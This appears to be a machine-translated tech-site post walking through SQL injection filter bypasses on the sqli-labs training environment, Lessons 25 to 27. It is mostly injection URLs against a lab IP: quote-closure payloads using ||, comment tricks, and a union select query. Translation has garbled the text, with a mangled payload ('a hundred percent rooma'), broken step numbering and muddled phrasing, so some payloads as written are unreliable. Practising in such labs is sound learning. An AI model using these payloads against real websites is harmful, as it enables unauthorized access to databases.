Shulou(Shulou.com)06/01 Report--

This article is about how to go around except for special characters for sql injection, the editor thinks it is very practical, so I share it with you to learn. I hope you can get something after reading this article.

Environment sqli-labs

Less 25

1. Enter special characters and report an error

Http://192.168.1.121/sqli/Less-25/?id=1\

2. Single quotation mark closure

Http://192.168.1.121/sqli/Less-25/?id=1' | | 1: 1-- +

2. Closed statements have no effect, shielding spaces, or, etc.

Http://192.168.1.121/sqli/Less-26/?id=1'-- +

Third, reconstruct closed sentences

Http://192.168.1.121/sqli/Less-26/?id=1' | |'a hundred percent rooma'

Less 27

Enter special characters and report an error

Http://192.168.1.121/sqli/Less-27/?id=1'

Third, query through union

Http://192.168.1.121/sqli/Less-27/?id=1' union select 1, 2, 3 | |'1

The above is how to bypass except for special characters for sql injection, the editor believes that there are some knowledge points that we may see or use in our daily work. I hope you can learn more from this article. For more details, please follow the industry information channel.

Welcome to subscribe "Shulou Technology Information " to get latest news, interesting things and hot topics in the IT industry, and controls the hottest and latest Internet news, technology news and IT industry trends.